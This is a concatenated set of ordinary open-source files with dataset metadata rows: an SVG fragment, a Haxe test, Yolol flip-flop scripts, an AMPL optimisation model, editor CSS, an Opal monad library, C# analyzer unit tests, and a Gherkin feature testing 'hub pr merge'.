2.88-1.09 2.88-2.43v-1.95h1.57v1.95c0 1.34 1.29 2.43 2.88 2.43h3.03c1.59 0 2.88-1.09 2.88-2.43l-.01-2.97z" fill="#261120"/></g></g></svg>
| SVG | 4 | nalinikanth/awesome | media/mentioned-badge.svg | [
"CC0-1.0"
] |
package unit.issues;
@:generic
private class C<T> {
public function new() { }
public function test<S:T>(s:S) { }
}
@:generic
private class C2<T> {
public function new() { }
@:generic
public function test<S:T>(s:S) { }
}
class Issue4672 extends Test {
function test() {
var x = new C<String>();
x.test("foo");
var x = new C2<String>();
x.test("foo");
noAssert();
}
} | Haxe | 3 | wiltonlazary/haxe | tests/unit/src/unit/issues/Issue4672.hx | [
"MIT"
] |
x=:a:o=""y=:b a=""b=""u=0d=0c=0g=0a+=x---x a+=x---x goto2+(:t=="T")
b+=y---y b+=y---y b+=y---y b+=y---y b+=y---y b+=y---y b+=y---y goto2
a+=x---x a+=x---x a+=x---x a+=x---x a+=x---x a+=x---x a+=x---x goto3
goto 6+((:t>"D")+(:t>"K")+(:t>"SR"))*4
p=c c=a---a d=b---b>0 r=p<c u=r*d+(1-r)*u:o+=u :done=a<0goto6-:done*9
goto:done++
c=a---a>0 d=b---b>0 u=(c+d==2)*(1-u)+(c+d==1)*c+(c+d==0)*u:o+=u goto10
goto:done++
c=a---a>0u=(b---b>0<1)*(c+u-c*u):o+=u:done=a<0goto14-:done*99
goto:done++
c=a---a u=c>g!=u:o+=u d=a---a u=d>c!=u:o+=u e=a---a u=e>d!=u:o+=u
f=a---a u=f>e!=u:o+=u g=a---a u=g>f!=u:o+=u goto18
goto:done++
/--------//--------//--------//--------//--------//--------//--------/
a=:a:o=""b=:b c=0u=0e=0z="x0"y="x1"j=4+((:t>"D")+(:t>"K")+(:t>"SR"))*2
e=c c=a<1<1r=e<c a="x"+a a-=z a-=y d=b<1<1b="x"+b b-=z b-=y gotoj+c
:o+=u :done=a<0 goto2-:done D(00)(01)
u=r*d+(1-r)*u :o+=u :done=a<0 goto2-:done D(10)(11)
u=(1-d)*u :o+=u :done=a<0 goto2-:done JK(00)(01)
u=(1-d)+d*(1-u) :o+=u :done=a<0 goto2-:done JK(10)(11)
u=(1-d)*u :o+=u :done=a<0 goto2-:done SR(00)(01)
u=1-d :o+=u :done=a<0 goto2-:done SR(10)(11)
:o+=u :done=a<0 goto2-:done T(00)(01)
u=r*(1-u)+(1-r)*u :o+=u :done=a<0 goto2-:done T(10)(11)
# D(00)(01) T(00)(01)
:o+=u
# JK(00)(01) SR(00)(01)
u=(1-d)*u :o+=u
# D(10)(11)
u=r*d+(1-r)*u :o+=u
# JK(10)(11)
u=(1-d)+d*(1-u) :o+=u
# SR(10)(11)
u=1-d :o+=u
# T(10)(11)
u=r*(1-u)+(1-r)*u :o+=u
/--------//--------//--------//--------//--------//--------//--------/
a=:a:o=""b=:b c=0u=0e=0z="x0"y="x1"j=4+((:t>"D")+(:t>"K")+(:t>"SR"))*2
e=c c=a<1<1r=e<c a="x"+a a-=z a-=y d=b<1<1b="x"+b b-=z b-=y gotoj+c
:o+=u :done=a<0 goto2-:done
u=r*d+(1-r)*u :o+=u :done=a<0 goto2-:done
u=(1-d)*u :o+=u :done=a<0 goto2-:done
u=(1-d)+d*(1-u) :o+=u :done=a<0 goto2-:done
u=(1-d)*u :o+=u :done=a<0 goto2-:done
u=1-d :o+=u :done=a<0 goto2-:done
:o+=u :done=a<0 goto2-:done
u=r*(1-u)+(1-r)*u :o+=u :done=a<0 goto2-:done
/--------//--------//--------//--------//--------//--------//--------/
a=:a:o=""b=:b c=0u=0e=0z="x0"y="x1"j=4+((:t>"D")+(:t>"K")+(:t>"SR"))*4
e=c c=a<1<1 a="x"+a a-=z a-=y d=b<1<1 b="x"+b b-=z b-=y gotoj+c+d*2
:o+=u :done=a<0 goto2-:done
u+=(e<c)*(d-u) :o+=u :done=a<0 goto2-:done
:o+=u :done=a<0 goto2-:done
u+=(e<c)*(d-u) :o+=u :done=a<0 goto2-:done
:o+=u :done=a<0 goto2-:done
u=1 :o+=u :done=a<0 goto2-:done
u=0 :o+=u :done=a<0 goto2-:done
u=1-u :o+=u :done=a<0 goto2-:done
:o+=u :done=a<0 goto2-:done
u=1 :o+=u :done=a<0 goto2-:done
u=0 :o+=u :done=a<0 goto2-:done
u=0 :o+=u :done=a<0 goto2-:done
u+=(e<c)*(1-u*2) :o+=u :done=a<0 goto2-:done
u+=(e<c)*(1-u*2) :o+=u :done=a<0 goto2-:done
u+=(e<c)*(1-u*2) :o+=u :done=a<0 goto2-:done
u+=(e<c)*(1-u*2) :o+=u :done=a<0 goto2-:done
/--------//--------//--------//--------//--------//--------//--------/
a=input
b=input
u=current_state
e=prev_a
z="x0"
y="x1"
c=single value from a
d=single value from b
r=indicates rising edge
# D (Rising Edge)
A B O
~R 0 SAME
~R 1 SAME
R 0 0
R 1 1
# JK
A B O
0 0 SAME
1 0 1
0 1 0
1 1 TOGGLE
# SR
A B O
0 0 SAME
1 0 1
0 1 0
1 1 0
# T (Rising Edge)
A O
~R SAME
R TOGGLE | LOLCODE | 2 | Dude112113/Yolol | YololEmulator/Scripts/FlipFlops.lol | [
"MIT"
] |
# Car sequencing problem in AMPL formulated as a MIP problem.
# http://www.csplib.org/Problems/prob001/
model common.ampl;
# optionAtPosition[o, p] specifies whether option o is used at position p.
var optionAtPosition{o in Options, p in Positions} =
sum{c in Classes: Require[c, o]} build[c, p];
# Number of cars built with option o per block b
var numCarsPerBlock{o in Options, b in Blocks[o]} =
sum{s in 1..BlockSize[o]} optionAtPosition[o, b + s - 1];
# Number of violations in block b for option o
var numViolationsPerBlock{o in Options, b in Blocks[o]} >= 0;
s.t. violationsPerBlock{o in Options, b in Blocks[o]}:
numViolationsPerBlock[o, b] >= numCarsPerBlock[o, b] - MaxCarsInBlock[o];
# Minimize the total number of violations.
minimize numViolations:
sum{o in Options, b in Blocks[o]} numViolationsPerBlock[o, b];
| AMPL | 4 | ampl/ampl.github.io | models/car-sequencing/mip.ampl | [
"MIT"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
.monaco-editor .cursors-layer {
position: absolute;
top: 0;
}
.monaco-editor .cursors-layer > .cursor {
position: absolute;
overflow: hidden;
}
/* -- smooth-caret-animation -- */
.monaco-editor .cursors-layer.cursor-smooth-caret-animation > .cursor {
transition: all 80ms;
}
/* -- block-outline-style -- */
.monaco-editor .cursors-layer.cursor-block-outline-style > .cursor {
box-sizing: border-box;
background: transparent !important;
border-style: solid;
border-width: 1px;
}
/* -- underline-style -- */
.monaco-editor .cursors-layer.cursor-underline-style > .cursor {
border-bottom-width: 2px;
border-bottom-style: solid;
background: transparent !important;
box-sizing: border-box;
}
/* -- underline-thin-style -- */
.monaco-editor .cursors-layer.cursor-underline-thin-style > .cursor {
border-bottom-width: 1px;
border-bottom-style: solid;
background: transparent !important;
box-sizing: border-box;
}
@keyframes monaco-cursor-smooth {
0%,
20% {
opacity: 1;
}
60%,
100% {
opacity: 0;
}
}
@keyframes monaco-cursor-phase {
0%,
20% {
opacity: 1;
}
90%,
100% {
opacity: 0;
}
}
@keyframes monaco-cursor-expand {
0%,
20% {
transform: scaleY(1);
}
80%,
100% {
transform: scaleY(0);
}
}
.cursor-smooth {
animation: monaco-cursor-smooth 0.5s ease-in-out 0s 20 alternate;
}
.cursor-phase {
animation: monaco-cursor-phase 0.5s ease-in-out 0s 20 alternate;
}
.cursor-expand > .cursor {
animation: monaco-cursor-expand 0.5s ease-in-out 0s 20 alternate;
}
| CSS | 2 | sbj42/vscode | src/vs/editor/browser/viewParts/viewCursors/viewCursors.css | [
"MIT"
] |
module Lang
pub type opt[#a] = Some(#a) or None()
pub type result[#a] = Ok(#a) or Error(string)
pub type box[#a] { val : #a }
// (<|) : M[a] -> (a -> b) -> M[b]
// (<<) : M[a] -> b -> M[b]
// (>>) : M[a] -> (a -> M[b]) -> M[b]
pub fn box (v : #a) { new box[#a] { val = v } }
pub fn box_copy (v : #a(Lang::Copy)) { new box[#a] { val = v.copy() } }
impl box[#a] {
fn get () { self.(val) }
fn lshift (x : #a) { self.(val) = x; self }
}
impl box[#a(Lang::Show)] { fn str () { self.(val).str() }}
impl box[#a(Lang::Step)] {
fn incr () { self.(val) = self.(val).succ() }
fn decr () { self.(val) = self.(val).pred() }
}
impl opt[#a] {
fn get () { // DO NOT USE
match self {
Some(x) -> x
}
}
fn get_or (y : #a) {
match self {
Some(x) -> x
None() -> y
}
}
fn any? () {
match self {
Some(_) -> true
None() -> false
}
}
fn to_result (what : string) {
match self {
Some(x) -> Ok(x)
None() -> Error(what)
}
}
fn apply (f : fn(#a) -> #b) {
match self {
Some(x) -> Some(f(x))
None() -> None()
}
}
fn each (f : fn(#a) -> unit) {
match self {
Some(x) -> f(x)
None() -> ()
}
}
fn lbind (f : fn(#a) -> #b) { self.apply(f) }
fn rbind (f : fn(#a) -> unit) { self.each(f) }
}
impl result[#a] {
fn get () {
match self {
Ok(x) -> x
// Error(str) -> Core::throw(str) ??
}
}
fn lbind (f : fn(#a) -> #b) {
match self {
Ok(x) -> Ok(f(x))
Error(s) -> Error(s)
}
}
fn lshift (y : #b) {
match self {
Ok(x) -> Ok(y)
Error(s) -> Error(s)
}
}
fn rshift (f : fn(#a) -> result[#b]) {
match self {
Ok(x) -> f(x)
Error(s) -> Error(s)
}
}
}
| Opal | 4 | iitalics/Opal | opal_libs/Lang/monad.opal | [
"MIT"
] |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using System.Linq;
using System.Runtime.CompilerServices;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Analyzer.Testing;
using Microsoft.CodeAnalysis;
using Xunit;
namespace Microsoft.AspNetCore.Mvc.Analyzers
{
public class CodeAnalysisExtensionsTest
{
private static readonly string Namespace = typeof(CodeAnalysisExtensionsTest).Namespace;
[Fact]
public async Task GetAttributes_OnMethodWithoutAttributes()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_OnMethodWithoutAttributesClass)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_OnMethodWithoutAttributesClass.Method)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(method, attribute, inherit: true);
// Assert
Assert.Empty(attributes);
}
[Fact]
public async Task GetAttributes_OnNonOverriddenMethod_ReturnsAllAttributesOnCurrentAction()
{
// Arrange
var compilation = await GetCompilation("GetAttributes_WithoutMethodOverriding");
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_WithoutMethodOverriding)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_WithoutMethodOverriding.Method)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(method, attribute, inherit: true);
// Assert
Assert.Collection(
attributes,
attributeData => Assert.Equal(201, attributeData.ConstructorArguments[0].Value));
}
[Fact]
public async Task GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentAction()
{
// Arrange
var compilation = await GetCompilation("GetAttributes_WithMethodOverridding");
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentActionClass)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentActionClass.Method)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(method, attribute, inherit: false);
// Assert
Assert.Collection(
attributes,
attributeData => Assert.Equal(400, attributeData.ConstructorArguments[0].Value));
}
[Fact]
public async Task GetAttributesSymbolOverload_OnMethodSymbol()
{
// Arrange
var compilation = await GetCompilation("GetAttributes_WithMethodOverridding");
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentActionClass)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentActionClass.Method)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(symbol: method, attribute: attribute);
// Assert
Assert.Collection(
attributes,
attributeData => Assert.Equal(400, attributeData.ConstructorArguments[0].Value));
}
[Fact]
public async Task GetAttributes_WithInheritTrue_ReturnsAllAttributesOnCurrentActionAndOverridingMethod()
{
// Arrange
var compilation = await GetCompilation("GetAttributes_WithMethodOverridding");
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentActionClass)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_WithInheritFalse_ReturnsAllAttributesOnCurrentActionClass.Method)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(method, attribute, inherit: true);
// Assert
Assert.Collection(
attributes,
attributeData => Assert.Equal(400, attributeData.ConstructorArguments[0].Value),
attributeData => Assert.Equal(200, attributeData.ConstructorArguments[0].Value),
attributeData => Assert.Equal(404, attributeData.ConstructorArguments[0].Value));
}
[Fact]
public async Task GetAttributes_OnNewMethodOfVirtualBaseMethod()
{
// Arrange
var compilation = await GetCompilation("GetAttributes_WithNewMethod");
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_WithNewMethodDerived)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_WithNewMethodDerived.VirtualMethod)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(method, attribute, inherit: true);
// Assert
Assert.Collection(
attributes,
attributeData => Assert.Equal(400, attributeData.ConstructorArguments[0].Value));
}
[Fact]
public async Task GetAttributes_OnNewMethodOfNonVirtualBaseMethod()
{
// Arrange
var compilation = await GetCompilation("GetAttributes_WithNewMethod");
var attribute = compilation.GetTypeByMetadataName(typeof(ProducesResponseTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(GetAttributes_WithNewMethodDerived)}");
var method = (IMethodSymbol)testClass.GetMembers(nameof(GetAttributes_WithNewMethodDerived.NotVirtualMethod)).First();
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(method, attribute, inherit: true);
// Assert
Assert.Collection(
attributes,
attributeData => Assert.Equal(401, attributeData.ConstructorArguments[0].Value));
}
[Fact]
public async Task GetAttributes_OnTypeWithoutAttributes()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName(typeof(ApiConventionTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName(typeof(GetAttributes_OnTypeWithoutAttributesType).FullName);
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(testClass, attribute, inherit: true);
// Assert
Assert.Empty(attributes);
}
[Fact]
public async Task GetAttributes_OnTypeWithAttributes()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName(typeof(ApiConventionTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName(typeof(GetAttributes_OnTypeWithAttributes).FullName);
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(testClass, attribute, inherit: true);
// Assert
Assert.Collection(
attributes,
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_Object));
},
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_String));
});
}
[Fact]
public async Task GetAttributes_BaseTypeWithAttributes()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName(typeof(ApiConventionTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName(typeof(GetAttributes_BaseTypeWithAttributesDerived).FullName);
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(testClass, attribute, inherit: true);
// Assert
Assert.Collection(
attributes,
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_Int32));
},
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_Object));
},
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_String));
});
}
[Fact]
public async Task GetAttributes_OnDerivedTypeWithInheritFalse()
{
// Arrange
var compilation = await GetCompilation(nameof(GetAttributes_BaseTypeWithAttributes));
var attribute = compilation.GetTypeByMetadataName(typeof(ApiConventionTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName(typeof(GetAttributes_BaseTypeWithAttributesDerived).FullName);
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(testClass, attribute, inherit: false);
// Assert
Assert.Collection(
attributes,
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_Int32));
});
}
[Fact]
public async Task GetAttributesSymbolOverload_OnTypeSymbol()
{
// Arrange
var compilation = await GetCompilation(nameof(GetAttributes_BaseTypeWithAttributes));
var attribute = compilation.GetTypeByMetadataName(typeof(ApiConventionTypeAttribute).FullName);
var testClass = compilation.GetTypeByMetadataName(typeof(GetAttributes_BaseTypeWithAttributesDerived).FullName);
// Act
var attributes = CodeAnalysisExtensions.GetAttributes(symbol: testClass, attribute: attribute);
// Assert
Assert.Collection(
attributes,
attributeData =>
{
Assert.Same(attribute, attributeData.AttributeClass);
Assert.Equal(attributeData.ConstructorArguments[0].Value, compilation.GetSpecialType(SpecialType.System_Int32));
});
}
[Fact]
public async Task HasAttribute_ReturnsFalseIfSymbolDoesNotHaveAttribute()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsFalseIfTypeDoesNotHaveAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsFalseIfTypeDoesNotHaveAttributeTest");
var testMethod = (IMethodSymbol)testClass.GetMembers("SomeMethod").First();
var testProperty = (IPropertySymbol)testClass.GetMembers("SomeProperty").First();
// Act
var classHasAttribute = CodeAnalysisExtensions.HasAttribute(testClass, attribute, inherit: false);
var methodHasAttribute = CodeAnalysisExtensions.HasAttribute(testMethod, attribute, inherit: false);
var propertyHasAttribute = CodeAnalysisExtensions.HasAttribute(testProperty, attribute, inherit: false);
// AssertControllerAttribute
Assert.False(classHasAttribute);
Assert.False(methodHasAttribute);
Assert.False(propertyHasAttribute);
}
[Fact]
public async Task HasAttribute_ReturnsTrueIfTypeHasAttribute()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName("Microsoft.AspNetCore.Mvc.ControllerAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(HasAttribute_ReturnsTrueIfTypeHasAttribute)}");
// Act
var hasAttribute = CodeAnalysisExtensions.HasAttribute(testClass, attribute, inherit: false);
// Assert
Assert.True(hasAttribute);
}
[Fact]
public async Task HasAttribute_ReturnsTrueIfBaseTypeHasAttribute()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName("Microsoft.AspNetCore.Mvc.ControllerAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.{nameof(HasAttribute_ReturnsTrueIfBaseTypeHasAttribute)}");
// Act
var hasAttributeWithoutInherit = CodeAnalysisExtensions.HasAttribute(testClass, attribute, inherit: false);
var hasAttributeWithInherit = CodeAnalysisExtensions.HasAttribute(testClass, attribute, inherit: true);
// Assert
Assert.False(hasAttributeWithoutInherit);
Assert.True(hasAttributeWithInherit);
}
[Fact]
public async Task HasAttribute_ReturnsTrueForInterfaceContractOnAttribute()
{
// Arrange
var compilation = await GetCompilation();
var @interface = compilation.GetTypeByMetadataName($"{Namespace}.IHasAttribute_ReturnsTrueForInterfaceContractOnAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForInterfaceContractOnAttributeTest");
var derivedClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForInterfaceContractOnAttributeDerived");
// Act
var hasAttribute = CodeAnalysisExtensions.HasAttribute(testClass, @interface, inherit: true);
var hasAttributeOnDerived = CodeAnalysisExtensions.HasAttribute(testClass, @interface, inherit: true);
// Assert
Assert.True(hasAttribute);
Assert.True(hasAttributeOnDerived);
}
[Fact]
public async Task HasAttribute_ReturnsTrueForAttributesOnMethods()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnMethodsAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnMethodsTest");
var method = (IMethodSymbol)testClass.GetMembers("SomeMethod").First();
// Act
var hasAttribute = CodeAnalysisExtensions.HasAttribute(method, attribute, inherit: false);
// Assert
Assert.True(hasAttribute);
}
[Fact]
public async Task HasAttribute_ReturnsTrueForAttributesOnOverriddenMethods()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnOverriddenMethodsAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnOverriddenMethodsTest");
var method = (IMethodSymbol)testClass.GetMembers("SomeMethod").First();
// Act
var hasAttributeWithoutInherit = CodeAnalysisExtensions.HasAttribute(method, attribute, inherit: false);
var hasAttributeWithInherit = CodeAnalysisExtensions.HasAttribute(method, attribute, inherit: true);
// Assert
Assert.False(hasAttributeWithoutInherit);
Assert.True(hasAttributeWithInherit);
}
[Fact]
public async Task HasAttribute_ReturnsTrueForAttributesOnProperties()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnPropertiesAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnProperties");
var property = (IPropertySymbol)testClass.GetMembers("SomeProperty").First();
// Act
var hasAttribute = CodeAnalysisExtensions.HasAttribute(property, attribute, inherit: false);
// Assert
Assert.True(hasAttribute);
}
[Fact]
public async Task HasAttribute_ReturnsTrueForAttributesOnOverridenProperties()
{
// Arrange
var compilation = await GetCompilation();
var attribute = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnOverriddenPropertiesAttribute");
var testClass = compilation.GetTypeByMetadataName($"{Namespace}.HasAttribute_ReturnsTrueForAttributesOnOverriddenProperties");
var property = (IPropertySymbol)testClass.GetMembers("SomeProperty").First();
// Act
var hasAttributeWithoutInherit = CodeAnalysisExtensions.HasAttribute(property, attribute, inherit: false);
var hasAttributeWithInherit = CodeAnalysisExtensions.HasAttribute(property, attribute, inherit: true);
// Assert
Assert.False(hasAttributeWithoutInherit);
Assert.True(hasAttributeWithInherit);
}
[Fact]
public async Task IsAssignable_ReturnsFalseForDifferentTypes()
{
// Arrange
var compilation = await GetCompilation();
var source = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsFalseForDifferentTypesA");
var target = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsFalseForDifferentTypesB");
// Act
var isAssignableFrom = CodeAnalysisExtensions.IsAssignableFrom(source, target);
// Assert
Assert.False(isAssignableFrom);
}
[Fact]
public async Task IsAssignable_ReturnsFalseIfTypeDoesNotImplementInterface()
{
// Arrange
var compilation = await GetCompilation(nameof(IsAssignable_ReturnsFalseForDifferentTypes));
var source = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsFalseForDifferentTypesA");
var target = compilation.GetTypeByMetadataName($"System.IDisposable");
// Act
var isAssignableFrom = CodeAnalysisExtensions.IsAssignableFrom(source, target);
// Assert
Assert.False(isAssignableFrom);
}
[Fact]
public async Task IsAssignable_ReturnsTrueIfTypesAreExact()
{
// Arrange
var compilation = await GetCompilation();
var source = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsTrueIfTypesAreExact");
var target = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsTrueIfTypesAreExact");
// Act
var isAssignableFrom = CodeAnalysisExtensions.IsAssignableFrom(source, target);
// Assert
Assert.True(isAssignableFrom);
}
[Fact]
public async Task IsAssignable_ReturnsTrueIfTypeImplementsInterface()
{
// Arrange
var compilation = await GetCompilation();
var source = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsTrueIfTypeImplementsInterface");
var target = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsTrueIfTypeImplementsInterfaceTest");
// Act
var isAssignableFrom = CodeAnalysisExtensions.IsAssignableFrom(source, target);
var isAssignableFromDerived = CodeAnalysisExtensions.IsAssignableFrom(target, source);
// Assert
Assert.True(isAssignableFrom);
Assert.False(isAssignableFromDerived); // Inverse shouldn't be true
}
[Fact]
public async Task IsAssignable_ReturnsTrue_IfSourceAndDestinationAreTheSameInterface()
{
// Arrange
var compilation = await GetCompilation(nameof(IsAssignable_ReturnsTrueIfTypeImplementsInterface));
var source = compilation.GetTypeByMetadataName(typeof(IsAssignable_ReturnsTrueIfTypeImplementsInterface).FullName);
var target = compilation.GetTypeByMetadataName(typeof(IsAssignable_ReturnsTrueIfTypeImplementsInterface).FullName);
// Act
var isAssignableFrom = CodeAnalysisExtensions.IsAssignableFrom(source, target);
// Assert
Assert.True(isAssignableFrom);
}
[Fact]
public async Task IsAssignable_ReturnsTrueIfAncestorTypeImplementsInterface()
{
// Arrange
var compilation = await GetCompilation();
var source = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsTrueIfAncestorTypeImplementsInterface");
var target = compilation.GetTypeByMetadataName($"{Namespace}.IsAssignable_ReturnsTrueIfAncestorTypeImplementsInterfaceTest");
// Act
var isAssignableFrom = CodeAnalysisExtensions.IsAssignableFrom(source, target);
var isAssignableFromDerived = CodeAnalysisExtensions.IsAssignableFrom(target, source);
// Assert
Assert.True(isAssignableFrom);
Assert.False(isAssignableFromDerived); // Inverse shouldn't be true
}
private Task<Compilation> GetCompilation([CallerMemberName] string testMethod = "")
{
var testSource = MvcTestSource.Read(GetType().Name, testMethod);
var project = MvcDiagnosticAnalyzerRunner.CreateProjectWithReferencesInBinDir(GetType().Assembly, new[] { testSource.Source });
return project.GetCompilationAsync();
}
}
}
| C# | 4 | tomaswesterlund/aspnetcore | src/Mvc/Mvc.Analyzers/test/CodeAnalysisExtensionsTest.cs | [
"MIT"
] |
Feature: hub pr merge
Background:
Given I am in "git://github.com/friederbluemle/hub.git" git repo
And I am "friederbluemle" on github.com with OAuth token "OTOKEN"
Scenario: Default merge
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :merge_method => "merge",
:commit_title => :no,
:commit_message => :no,
:sha => :no
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
When I successfully run `hub pr merge 12`
Then the output should contain exactly ""
Scenario: Squash merge
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :merge_method => "squash",
:commit_title => :no,
:commit_message => :no,
:sha => :no
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
When I successfully run `hub pr merge --squash 12`
Then the output should contain exactly ""
Scenario: Merge with rebase
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :merge_method => "rebase",
:commit_title => :no,
:commit_message => :no,
:sha => :no
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
When I successfully run `hub pr merge --rebase 12`
Then the output should contain exactly ""
Scenario: Merge with title
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :commit_title => "mytitle",
:commit_message => ""
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
When I successfully run `hub pr merge 12 -m mytitle`
Then the output should contain exactly ""
Scenario: Merge with title and body
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :commit_title => "mytitle",
:commit_message => "msg1\n\nmsg2"
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
When I successfully run `hub pr merge 12 -m mytitle -m msg1 -m msg2`
Then the output should contain exactly ""
Scenario: Merge with title and body from file
Given a file named "msg.txt" with:
"""
mytitle
msg1
msg2
"""
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :commit_title => "mytitle",
:commit_message => "msg1\n\nmsg2"
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
When I successfully run `hub pr merge 12 -F msg.txt`
Then the output should contain exactly ""
Scenario: Merge with head SHA
Given the GitHub API server:
"""
put('/repos/friederbluemle/hub/pulls/12/merge'){
assert :sha => "MYSHA"
json :merged => true,
:sha => "MERGESHA",
:message => "All done!"
}
"""
